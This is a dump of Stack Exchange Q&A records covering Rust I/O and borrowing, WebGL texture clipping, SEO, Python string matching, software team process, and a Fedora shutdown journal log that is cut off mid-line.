higher layer, they add into the gradients for the shared weights in the kernel, and also add into the gradients for the feature map pixels in the layer below (in each case before starting calculation, you might create an all-zero matrix to sum up the final gradients into).For a selection mechanisms, such as the max pooling layer, you only backprop the gradient to the selected output neuron in the previous layer. The others do not affect the output, so by definition increasing or decreasing their value has no effect - they have a gradient of 0 for the example being calculated.In the case of a feed-forward network, each layer's processing is independent from the next, so you only have a complex rule to follow if you have a complex layer. You can write the back propagation equations down so that they relate gradients in one layer to the already-calculated gradients in the layer above (and ultimately to the loss function evaluated in the output layer). It doesn't directly matter what the activation function was in the output layer after you backpropagate the gradient from it - at that point the only difference is numeric, the equations relating deeper layer gradients to each other do not depend on the output at all.Finally, if you want to just use a neural network library, you don't need to worry much about this, it is usually just done for you. All the standard activation functions and layer architectures are covered by existing code. It is only when creating your own implementations from scratch, or when making use of unusual functions or structure, that you might need to go as far as deriving the values directly."  } 
{  "id": "_codereview.90645"  , "question": "The following code comes from a simple Brainfuck interpreter I'm working on to learn the Rust language. Error handling is omitted for simplicity. It is tested on rustc version 1.1.0-dev (af522079a 2015-05-14) (built 2015-05-14).The code implements just the input and output routines for the interpreter. The read_cell method reads a single byte from the Read object input and stores it in the memory cell at pointer. write_cell writes the byte a the memory cell at pointer to the Write object output.use std::io::Read;use std::io::Write;pub struct Machine<In, Out> {    pub memory: Vec<u8>,     pub pointer: usize,     input: In,     output: Out,}impl<In: Read, Out: Write> Machine<In, Out> {    pub fn new(input: In, output: Out) -> Machine<In, Out> {        Machine {             memory: vec![0; 2],             pointer: 0,             input: input,             output: output         }    }    pub fn read_cell(&mut self) {        self.input.read(&mut self.memory[self.pointer..self.pointer+1]).unwrap();    }    pub fn write_cell(&mut self) {        self.output.write(&self.memory[self.pointer..self.pointer+1]).unwrap();    }}#[cfg(test)]mod test {    use super::*;    #[test]    fn test_write_cell() {        let input = .as_bytes();        let mut output = vec![];        {            let mut machine = Machine::new(input, &mut output);            machine.memory[machine.pointer] = 1;            machine.write_cell();        }        assert_eq!(vec![1], output);    }}There are two main points in the code that are concerning me:I cannot find in the standard library API an obvious method to read or write a single byte. There is a better/clearer way to implement the read_cell and write_cell methods?In the test function test_write_cell I had to declare machine inside a nested scope. If it is declared in the same scope of output I get this error at the assert_eq! line:cannot borrow `output` as immutable because it is also borrowed as mutableCan I write the same test without having to nest scopes? Is so, how?Any other comment, hint or advice will be very welcome!"  , "title": "Input/output for a simple Brainfuck interpreter"  , "tags": "beginner;rust"  , "accepted_answer": "a better/clearer way to implement the read_cell and write_cell methods?What you have seems pretty good to me. Rust's IO methods rely on having a buffer to read into. In many cases, you might see a single byte read with something likelet mut buf = [0; 1]; reader.read(&mut buf).unwrap();In your case, you already have a buffer, so you might as well read directly into it.Can I write the same test without having to nest scopes?Nope. Let's comment out the nested braces and look at the error messages:error: cannot borrow `output` as immutable because it is also       borrowed as mutablematch ( & ( $ left ) , & ( $ right ) ) {                         ^~~~~~~~~~~note: in expansion of assert_eq!We are attempting to immutably borrow something that's already borrowed. The compiler is kind enough to show us where the borrow occurs:note: previous borrow of `output` occurs here; the mutable borrow      prevents subsequent moves, borrows, or modification of      `output` until the borrow ends    let mut machine = Machine::new(input, &mut output);                                           ^~~~~~And where it ends:note: previous borrow ends herefn test_write_cell() {...}^When there is an outstanding mutable borrow, Rust only that borrow to exist. This removes whole classes of bugs around spooky action at a distance as well as potential data races. The extra braces provide a lifetime that the borrow can live during; once the block is exited, the borrow is no longer needed.The only solution I know of is to use what I like to call an exploder. If you are familiar with constructors and destructors, then an exploder is like a destructor that returns values. There's a common pattern in the standard library with methods called into_inner. Here's how it could look for your code:impl<In: Read, Out: Write> Machine<In, Out> {    pub fn into_inner(self) -> (In, Out) {        (self.input, self.output)    }}fn test_write_cell() {    let input = .as_bytes();    let output = vec![];    let mut machine = Machine::new(input, output);    machine.memory[machine.pointer] = 1;    machine.write_cell();    let (_, output) = machine.into_inner();    assert_eq!(vec![1], output);}"  } 
{  "id": "_computergraphics.4078"  , "question": "I have a bunch of planes each with their own texture in a grid. Currently I am rendering these as separate planes, each with their own texture, although I could use a single plane with multiple faces.Each color is a texture.I have a polygon mesh with arbitrary shape that is parallel to these planes:This shape could be completely contained within one of the planes, or larger.I would like to texture the polygon with the overlapping textures of the planes:How do I accomplish this clipping of the textures in three js / WebGl?I am also open to any other WebGL solutions.A few ideas I had:Subdivide the polygon into faces that correspond with the overlapping planes. Then texture these faces using UV coords. I know I can get this to work, but it seems like too complicated of a solution.Apply multiple textures to the polygon and use UV coordinates to distribute them. -- Im not sure this is possible without subdividing?Any other ideas? Can this be accomplished with blending modes?"  , "title": "How to clip multiple tiled textures to polygon in Webgl / opengl"  , "tags": "rendering;webgl;clipping;masking"  } 
{  "id": "_webmaster.86776"  , "question": "I have a client with very little text on his site, and I would like to make the most out of his services page. The only information on this particular page are the names of the services. ie:PaintingRemodelingCountertopsEtc.I would like to turn these (they're either p or li tags right now) into header tags so Search Engines understand that these are very important to the site, but without supporting content, I imagine this will be viewed as keyword stuffing. I'm thinking maybe I should make the more prominent services h2s and the not as prominent ones h3s/h4s? Would this approach improve or hinder my SEO?On other pages, he does have images with alt tags reiterating his key services"  , "title": "How To Setup A Services List Using Header Tags, But Without Keyword Stuffing?"  , "tags": "seo;heading;keyword stuffing"  , "accepted_answer": "The type of tag used when adding a piece of text to a page does not in and of itself affect the SERP ranking for the page in question. You should always use HTML tags for the correct purposes for situations where users are using an assisted device such as a screen reader which depends on the correct usage of HTML tags to work right.In this instance you may be better served to list each service, and then beneath each service add a short couple of sentences which describe the service in question and make the service name a link to the service page details.The whole point of SEO is to improve the quality of the page for the end user, and by doing things that will improve the end user's value derived from the site you will naturally be improving the sites quality for SEO and SERP ranking as well."  } 
{  "id": "_webapps.70255"  , "question": "Does YouTube allow users to have multiple accounts? Do they specifically allow/forbid this practice?"  , "title": "Is it allowed to have multiple accounts on YouTube?"  , "tags": "youtube;user accounts"  , "accepted_answer": "As youtube accounts are today google accounts you are more than welcome to have separate accounts for different stuff if you like. The legality however would depend on some factors:Are you in a country that would restrict this in its laws and Google must abide by these laws?Does the Terms of Service from Google allow you to have multiple accounts.The #1 is impossible to answer as that may require us to know the jurisdiction you are under and so on, you better research this if needed yourself.The #2 is pretty clear. Yes, you are allowed to have multiple google accounts under the Google Terms of Service (http://www.google.com/intl/en/policies/terms/) and therefore also tied to different Youtube accounts.The terms of service says that the restriction is that you are not allowed to create multiple accounts for SpoofingSpammingScamming other usersEt cetera. Have a read through Google Terms of Service, it's not that long and it is actually rather  clear.Here is proof from google support https://support.google.com/accounts/answer/179235?hl=en"  } 
{  "id": "_softwareengineering.189073"  , "question": "My team and I took over a medium sized codebase over a year ago when the previous tech lead left the company. Originating from the lack of man power I fear we favored pragmatic solutions over best practices a little too much.Now, I have to deal with a constant decline in code quality and some kind of organic growth of day-to-day processes. I regret that when asked for code conventions a year ago I basically gave common sense as the only rule. Soon I had programmers using different syntactic styles and failing to see the difficulties this induces in a merge process. Another example is my push for database migration scripts. I tried to incorporate Flyway into our process but after only a week I was quickly overruled by my boss. Even despite me warning them about the upcoming mandatory use of database migration scripts and providing them with as many clues, hints and tools to mitigate the problem of not starting applications because of missing or failing migrations they decided that it would be best do complain to my boss about them not being able to do their work. I forcefully disabled Flyway again and we now live with migration steps in arbitrary named SQL files on a network share that you have to remember to apply to the respective database at the right time. One problem in our process was that we never did formal code reviews. So a lot of hacks went under the radar and into the code base without someone noticing on time. Nowadays I tend to read checkins of my team mates when there is time (that's not often the case) but there is no automatic process to prevent unwanted changes. It is up to me to go to the developer in question and try to ease them into acknowledging why their code is bad. I thought to introduce lint-like tools like FindBugs and Checkstyle but I fear I would face the same psychological problems like I did with the database migrations. After all I would make their jobs harder for them and I can understand why this might lead to misunderstandings.So my question is: How can I go about improving our process and our code quality in an environment where getting the job done is valued much higher than doing it right?"  , "title": "How to deal with too much pragmatism in the project?"  , "tags": "development process;code quality;teamwork;technical debt"  , "accepted_answer": "Let me guess...now you have a team of developers mired in daily production support because the stream of issues coming in is endless and no one gets to work on more strategic things?I'll be curious to see what kinds of answers you get, but without being too pessimistic here I think you're in for a heck of an uphill battle, mainly because my first bit of advice would be to get management on your side, and these quotes make me think that's going to be difficult:I was quickly overruled by my bossandan environment where getting the job done is valued much higher than  doing it rightI like to refer to this as the decision-consequence gap. The people making the decisions do not have to suffer the consequences of the decision. If the decision is bad, the fallout is often someone else's problem. If the decision is good, or was bad and the hard work of others made it look good, then of course the decision maker takes credit. I'm not busting on you here, these problems are a sadly systemic issue I see in most corporate IT shops and the corporate world at large. It's what causes them to narrowly put delivery date before quality in every project. And of course they'll do that because they are judged by their superiors on date first; as none of them have to live with the software's deficiencies, quality doesn't really matter to them. Ideal SolutionAnyway, the happy path scenario is that you get management to agree to:Halt new feature development while you make a focused effort to repair and refactor major deficiencies in the code. While they're at it, they empower you to release anyone from the team that isn't smart enough to recognize the value of best practices and doesn't want to change their hack-style of coding. Getting rid of crappy developers is probably even more valuable to the team than the refactoring itself; good developers will find ways to refactor as they go, naturally improving things over time.Management in this scenario recognizes that the leaks in the boat must be repaired or much time and money will be lost in paying for a team that is stuck churning through tactical issues (user hand-holding, data fixes, rote tasks, and other assorted diaper changes) rather than strategic (new features to enable user efficiency, improve quality of customer-facing output, and make possible new streams of revenue). Pragmatic SolutionLook, we know the above theoretical ideal is unlikely to happen based on what you've already told us. That leaves you and your team to find ways to handle this on your own. Establish the standards you need. You mentioned it in your post; get them published and get the team to understand the value and begin implementing for all future work. If you can keep the issues load stable even as the code grows because the new features don't add more problems, then that's a small but laudable victory against tough circumstances.Refactoring is likely one of your best approaches. Every time you have to go in for a fix, take advantage of the opportunity to also clean up that script and improve it some. If you can't get management to support a directed repair effort then evolve the code slowly; you might have to engage some overtime but some improvement is better than none. The problem here is that it works for individual scripts, but less well for system-wide changes that need to happen simultaneously in large numbers. But you may be able to blend in some larger changes if you do get some new feature request; you must be tactful though. I once got my hand slapped by a project manager that thought I was actually greenlighting unapproved work (I was not, I was implementing changes that would fix a part of the system and in turn enable the new requested feature and was thus a material part of the project).Make staffing changes? I don't want to speak out of turn because I don't know the full story behind your team, but it sounds like they are quite comfortable with sloppy quick fixes and don't appreciate best practices like code review. If you've identified people that are creating more problems than they solve, perhaps they can be put somewhere else. This is a tough one because these days management doesn't like firing people for incompetence because that's politically incorrect; they only fire people for hurting someone's feelings. But I mention this because it is a factor; poor developers compromise the rest of the team's efforts. You will waste many hours trying to convince them to improve, and any work they manage to get into production will create more support.Really Pragmatic SolutionA lot of the folks on the stackexchange sites are smart people that are also impatient and are quick to say, Just leave, it's obvious your shop isn't going to get any better.I'd agree with them if you really feel it's not going to get better. But obviously you have to be careful because at least in my experience, you have a chance of ending up somewhere that has the same problems. Also, this site's sidebar lists several similar questions you could look into for advice."  } 
{  "id": "_softwareengineering.318928"  , "question": "This is a bit difficult to describe, but I'll do my best.In Python, I can use string.startswith(tuple) to test for multiple matches. But startswith only returns a boolean answer, whether or not it found a match. It is equivalent to any(string.startswith(substring) for substring in inputTuple). I am looking for a way to return the rest of the string. So, for example:>>> fruits = ['apple', 'orange', 'pear']>>> words1 = 'orange, quagga, etc.'>>> words2 = 'giraffe, apple, etc.'>>> magicFunc(words1, fruits)', quagga, etc.'>>> magicFunc(words2, fruits)False(I'm also okay with the function returning the first matching string, or a list of matching strings, or anything that would enable me to determine where to cut off the string.)Right now I have this:remainingString(bigString, searchStrings):    for sub in searchStrings:        if bigString.startswith(sub):            return bigString.partition(sub)[0]Ick. Is there anything better?"  , "title": "Most Pythonic way to remove first match of potential leading strings?"  , "tags": "python;strings;string matching"  , "accepted_answer": "There's no easy way to get the info from .startswith, but you can construct a regular expression that gives you that info.An example:import reprefixes = (foo, moo!)# Add a ^ before each prefix to force a match at the beginning of a string;# escape() to allow regex-reserved characters like * be used in prefixes.regex_text = ( + |.join(^ + re.escape(x) for x in prefixes) + )match = re.search(regex_text, foobar)print match.end()"  } 
{  "id": "_webmaster.29568"  , "question": "Possible Duplicate:HTML validation: is it worth it? How important is to be W3C complaint. Currently I have 27 errors reported by W3C validator. Is that ok or I need to reduce the error count?"  , "title": "How important is it to be W3C complaint?"  , "tags": "seo;wordpress;page speed"  } 
{  "id": "_webmaster.92888"  , "question": "Suppose I want to register a domain name but the .com TLD is unavailable and is being used by someone, would a .net domain be able to compete in terms of SEO?For example, if stackexchange.com is unavailable and I get hold of its .net domain would I be able to compete against the main site?Also if the keyword stackexchange has an average monthly search volume of 12,000 searches per month, would the domain keyword help me ride on the wave of the existing competitor site using the .net TLD?"  , "title": "Using .net to compete against .com"  , "tags": "seo;top level domains"  , "accepted_answer": "There is no advantage to choosing a .net over .com or any name over another in terms of domain names. But for best results, keep the following in mind:Make sure that you choose a name that does not break any law or corporations interests, for example, don't name your domain as burgerkingisbad.com or alldrugsarelegal.com, etc.Also, to help make your site indexed, make sure your domain name contains the title of your site or at least refers to it in some way. For example, if you are running a car lot online and you want to indicate they're all antiques, then you might want a domain like jacksantiqueautomobiles.com or even johnsantiquecars.net.Having something like donaldtrumpsfreshfruit.com on an automobile site just would not make sense at all unless you were showing cars with fruit loaded in them and you have more fruit than cars on your site. The point is, try to make the domain name as close to the subject or company name as possible."  } 
{  "id": "_unix.219527"  , "question": "I installed Fedora 22 a few days ago and noticed that at times it didn't shut down. The monitor received no signal and goes black. But the color in the power button is still on and the fans of the CPU are still running.I found a similar question here (Fedora not shutting down) but there was no clear answer.I ran journalctl as root and here's the last part of the outcome before I turned the computer off myself by holding the power button. Any ideas why this is happening?  Jul 30 21:53:43 localhost.localdomain systemd-logind[720]: System is powering down.Jul 30 21:53:44 localhost.localdomain gnome-session[1920]: gnome-session[1920]: WARNING: Lost name on bus: org.gnome.SessionManagerJul 30 21:53:44 localhost.localdomain gnome-session[1920]: WARNING: Lost name on bus: org.gnome.SessionManagerJul 30 21:53:44 localhost.localdomain systemd[1]: Stopped Session 1 of user gglasses.Jul 30 21:53:44 localhost.localdomain systemd[1]: Stopping Session 1 of user gglasses.Jul 30 21:53:44 localhost.localdomain systemd[1]: Stopping Restore /run/initramfs on shutdown...Jul 30 21:53:44 localhost.localdomain audit[2009]: <audit-1701> auid=1000 uid=1000 gid=1000 ses=1 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:cJul 30 21:53:44 localhost.localdomain polkitd[738]: Unregistered Authentication Agent for unix-session:1 (system bus name :1.54, object path /org/freJul 30 21:53:44 localhost.localdomain systemd[1]: Stopping Daemon for power management...Jul 30 21:53:44 localhost.localdomain systemd[1]: Stopped target Sound Card.Jul 30 21:53:44 localhost.localdomain systemd[1]: Stopping Sound Card.Jul 30 21:53:44 localhost.localdomain systemd[1]: Deactivating swap /dev/mapper/fedora-swap...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping Manage Sound Card State (restore and store)...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping Manage, Install and Generate Color Profiles...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping Disk Manager...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping LVM2 PV scan on device 8:1...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopped target Graphical Interface.Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping Graphical Interface.Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopped target Multi-User System.Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping Multi-User System.Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping Avahi mDNS/DNS-SD Stack...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping MariaDB 10.0 database server...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping Job spooling tools...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping The Apache HTTP Server...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping ABRT kernel log watcher...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping Command Scheduler...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping Virtualization daemon...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping NTP client/server...Jul 30 21:53:45 localhost.localdomain chronyd[688]: chronyd exitingJul 30 21:53:45 localhost.localdomain systemd[1]: Stopping SYSV: Late init script for live image....Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping CUPS Scheduler...Jul 30 21:53:45 localhost.localdomain systemd[1]: Removed slice system-getty.slice.Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping system-getty.slice.Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping PackageKit Daemon...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping User Manager for UID 1000...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopped target Login Prompts.Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping Login Prompts.Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping Machine Check Exception Logging Daemon...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping Install ABRT coredump hook...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping User Manager for UID 42...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping Bluetooth service...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping GNOME Display Manager...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopped target Timers.Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping Timers.Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopped Daily Cleanup of Temporary Directories.Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping Daily Cleanup of Temporary Directories.Jul 30 21:53:45 localhost.localdomain systemd[1]: Started Store Sound Card State.Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping Accounts Service...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping RealtimeKit Scheduling Policy Service...Jul 30 21:53:45 localhost.localdomain systemd[1]: Unmounting RPC Pipe File System...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping Authorization Manager...Jul 30 21:53:45 localhost.localdomain audit[1524]: <audit-1701> auid=4294967295 uid=42 gid=42 ses=4294967295 subj=system_u:system_r:xdm_t:s0-s0:c0.c1Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopped Session c1 of user gdm.Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopping Session c1 of user gdm.Jul 30 21:53:45 localhost.localdomain bluetoothd[2098]: TerminatingJul 30 21:53:46 localhost.localdomain bluetoothd[2098]: Stopping SDP serverJul 30 21:53:46 localhost.localdomain bluetoothd[2098]: ExitJul 30 21:53:47 localhost.localdomain dbus[696]: [system] Activating via systemd: service name='org.freedesktop.Accounts' unit='accounts-daemon.serviJul 30 21:53:48 localhost.localdomain avahi-daemon[695]: Got SIGTERM, quitting.Jul 30 21:53:48 localhost.localdomain avahi-daemon[695]: Leaving mDNS multicast group on interface eno1.IPv4 with address 192.168.1.5.Jul 30 21:53:48 localhost.localdomain avahi-daemon[695]: avahi-daemon 0.6.31 exiting.Jul 30 21:53:49 localhost.localdomain NetworkManager[802]: <warn>  error requesting auth for org.freedesktop.NetworkManager.settings.modify.hostname:Jul 30 21:53:49 localhost.localdomain NetworkManager[802]: <warn>  error requesting auth for org.freedesktop.NetworkManager.settings.modify.own: (0) Jul 30 21:53:49 localhost.localdomain NetworkManager[802]: <warn>  error requesting auth for org.freedesktop.NetworkManager.settings.modify.system: (Jul 30 21:53:49 localhost.localdomain NetworkManager[802]: <warn>  error requesting auth for org.freedesktop.NetworkManager.wifi.share.open: (0) AuthJul 30 21:53:49 localhost.localdomain NetworkManager[802]: <warn>  error requesting auth for org.freedesktop.NetworkManager.wifi.share.protected: (0)Jul 30 21:53:56 localhost.localdomain dbus[696]: [system] Activation via systemd failed for unit 'accounts-daemon.service': Refusing activation, D-BuJul 30 21:53:56 localhost.localdomain alsactl[683]: alsactl daemon stoppedJul 30 21:53:56 localhost.localdomain NetworkManager[802]: <warn>  error requesting auth for org.freedesktop.NetworkManager.network-control: (0) AuthJul 30 21:53:45 localhost.localdomain systemd[1]: Stopping Login Service...Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopped Authorization Manager.Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopped Daemon for power management.Jul 30 21:53:45 localhost.localdomain systemd[1]: Stopped PackageKit Daemon.Jul 30 21:53:49 localhost.localdomain systemd[1751]: Stopped target Default.Jul 30 21:53:49 localhost.localdomain systemd[1751]: Stopping Default.Jul 30 21:53:49 localhost.localdomain systemd[1751]: Stopped target Basic System.Jul 30 21:53:49 localhost.localdomain systemd[1751]: Stopping Basic System.Jul 30 21:53:49 localhost.localdomain systemd[1751]: Stopped target Sockets.Jul 30 21:53:49 localhost.localdomain systemd[1751]: Stopping Sockets.Jul 30 21:53:49 localhost.localdomain systemd[1751]: Stopped target Timers.Jul 30 21:53:56 localhost.localdomain systemd[1751]: Stopping Timers.Jul 30 21:53:56 localhost.localdomain systemd[1256]: Reached target Shutdown.Jul 30 21:53:56 localhost.localdomain systemd[1751]: Reached target Shutdown.Jul 30 21:53:56 localhost.localdomain systemd[1256]: Starting Shutdown.Jul 30 21:53:56 localhost.localdomain systemd[1751]: Starting Shutdown.Jul 30 21:53:57 localhost.localdomain systemd[1256]: Stopped target Default.Jul 30 21:53:57 localhost.localdomain systemd[1751]: Starting Exit the Session...Jul 30 21:53:57 localhost.localdomain systemd[1]: Starting Show Plymouth Power Off Screen...Jul 30 21:53:57 localhost.localdomain systemd[1256]: Stopping Default.Jul 30 21:53:57 localhost.localdomain systemd[1751]: Stopped target Paths.Jul 30 21:53:57 localhost.localdomain systemd[1256]: Stopped target Basic System.Jul 30 21:53:57 localhost.localdomain systemd[1751]: Stopping Paths.Jul 30 21:53:57 localhost.localdomain systemd[1256]: Stopping Basic System.Jul 30 21:53:57 localhost.localdomain systemd[1256]: Stopped target Sockets.Jul 30 21:53:57 localhost.localdomain systemd[1256]: Stopping Sockets.Jul 30 21:53:57 localhost.localdomain systemd[1751]: Received SIGRTMIN+24 from PID 11141 (kill).Jul 30 21:53:57 localhost.localdomain systemd[1256]: Stopped target Timers.Jul 30 21:53:57 localhost.localdomain systemd[1256]: Stopping Timers.Jul 30 21:53:57 localhost.localdomain systemd[1256]: Starting Exit the Session...Jul 30 21:53:57 localhost.localdomain systemd[1256]: Stopped target Paths.Jul 30 21:53:57 localhost.localdomain systemd[1256]: Stopping Paths.Jul 30 21:53:57 localhost.localdomain systemd[1]: Stopped CUPS Scheduler.Jul 30 21:53:57 localhost.localdomain systemd[1]: Unit firewalld.service entered failed state.Jul 30 21:53:57 localhost.localdomain systemd[1]: firewalld.service failed. Jul 30 21:53:49 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=crJul 30 21:53:49 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=udJul 30 21:53:49 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=coJul 30 21:53:49 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=blJul 30 21:53:49 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=ht  Jul 30 21:53:49 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=abJul 30 21:53:51 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=liJul 30 21:53:56 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=alJul 30 21:53:56 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=fiJul 30 21:53:56 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=dbJul 30 21:53:57 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=gdJul 30 21:53:56 localhost.localdomain NetworkManager[802]: <warn>  disconnected by the system bus.Jul 30 21:53:57 localhost.localdomain systemd[1754]: pam_unix(systemd-user:session): session closed for user gglassesJul 30 21:53:57 localhost.localdomain systemd[1256]: Received SIGRTMIN+24 from PID 11153 (kill).Jul 30 21:53:57 localhost.localdomain systemd[1280]: pam_unix(systemd-user:session): session closed for user gdmJul 30 21:53:57 localhost.localdomain systemd[1]: Stopped User Manager for UID 42.Jul 30 21:53:57 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=usJul 30 21:53:57 localhost.localdomain systemd[1]: Removed slice user-42.slice.Jul 30 21:53:57 localhost.localdomain systemd[1]: Stopping user-42.slice.Jul 30 21:53:57 localhost.localdomain systemd[1]: Stopping Permit User Sessions...Jul 30 21:53:57 localhost.localdomain gdm[876]: Tried to look up non-existent conversation gdm-launch-environmentJul 30 21:53:57 localhost.localdomain gdm[876]: Freeing conversation 'gdm-launch-environment' with active jobJul 30 21:53:57 localhost.localdomain gdm[876]: Freeing conversation 'gdm-password' with active jobJul 30 21:53:57 localhost.localdomain gdm[876]: Failed to contact accountsservice: Error calling StartServiceByName for org.freedesktop.Accounts: GDBJul 30 21:53:57 localhost.localdomain gdm[876]: Child process -1385 was already dead.Jul 30 21:53:57 localhost.localdomain gdm[876]: GLib: g_hash_table_find: assertion 'version == hash_table->version' failedJul 30 21:53:57 localhost.localdomain org.fedoraproject.Setroubleshootd[696]: Exception KeyError: KeyError(140594674702080,) in <module 'threading' fJul 30 21:53:57 localhost.localdomain NetworkManager[802]: g_dbus_connection_real_closed: Remote peer vanished with error: Underlying GIOStream returJul 30 21:53:57 localhost.localdomain abrtd[725]: The name 'org.freedesktop.problems.daemon' has been lost, please check if other service owning the Jul 30 21:53:57 localhost.localdomain systemd[1]: abrtd.service: main process exited, code=exited, status=1/FAILUREJul 30 21:53:57 localhost.localdomain systemd[1]: Stopped ABRT Automated Bug Reporting Tool.Jul 30 21:53:57 localhost.localdomain systemd[1]: Unit abrtd.service entered failed state.Jul 30 21:53:57 localhost.localdomain systemd[1]: abrtd.service failed.Jul 30 21:53:57 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=abJul 30 21:53:57 localhost.localdomain systemd[1]: Stopping LSB: Init script for live image....Jul 30 21:53:57 localhost.localdomain systemd[1]: Stopped LSB: Init script for live image..Jul 30 21:53:57 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=liJul 30 21:53:57 localhost.localdomain systemd[1]: Stopped Permit User Sessions.Jul 30 21:53:57 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=syJul 30 21:53:57 localhost.localdomain systemd[1]: Stopped target User and Group Name Lookups.Jul 30 21:53:57 localhost.localdomain systemd[1]: Stopping User and Group Name Lookups.Jul 30 21:53:57 localhost.localdomain systemd[1]: Stopped target Remote File Systems.Jul 30 21:53:57 localhost.localdomain systemd[1]: Stopping Remote File Systems.Jul 30 21:53:57 localhost.localdomain systemd[1]: Stopped target Remote File Systems (Pre).Jul 30 21:53:57 localhost.localdomain systemd[1]: Stopping Remote File Systems (Pre).Jul 30 21:53:57 localhost.localdomain systemd[1]: Stopped target NFS client services.Jul 30 21:53:57 localhost.localdomain systemd[1]: Stopping NFS client services.Jul 30 21:53:57 localhost.localdomain systemd[1]: Stopping GSSAPI Proxy Daemon...Jul 30 21:53:57 localhost.localdomain systemd[1]: Stopping Logout off all iSCSI sessions on shutdown...Jul 30 21:53:57 localhost.localdomain iscsiadm[11167]: iscsiadm: No matching sessions foundJul 30 21:53:57 localhost.localdomain systemd[1]: Stopped Logout off all iSCSI sessions on shutdown.Jul 30 21:53:57 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=isJul 30 21:53:57 localhost.localdomain systemd[1]: Stopped WPA Supplicant daemon.Jul 30 21:53:57 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=wpJul 30 21:53:57 localhost.localdomain systemd[1]: Stopped GSSAPI Proxy Daemon.Jul 30 21:53:57 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=gsJul 30 21:53:59 localhost.localdomain NetworkManager[802]: <info>  Could not connect to the system bus; only the private D-Bus socket will be availabJul 30 21:54:00 localhost.localdomain systemd[1]: Deactivated swap /dev/fedora/swap.Jul 30 21:54:00 localhost.localdomain systemd[1]: Deactivated swap /dev/disk/by-uuid/fba815ca-5c6d-4669-a933-2b4e6909afdb.Jul 30 21:54:00 localhost.localdomain systemd[1]: Deactivated swap /dev/disk/by-id/dm-uuid-LVM-urmOqowfmjzlClU7g4S7DynV15ytZJ2wQnrOcQP4Z4C1HEGYRk6sPwJul 30 21:54:00 localhost.localdomain systemd[1]: Deactivated swap 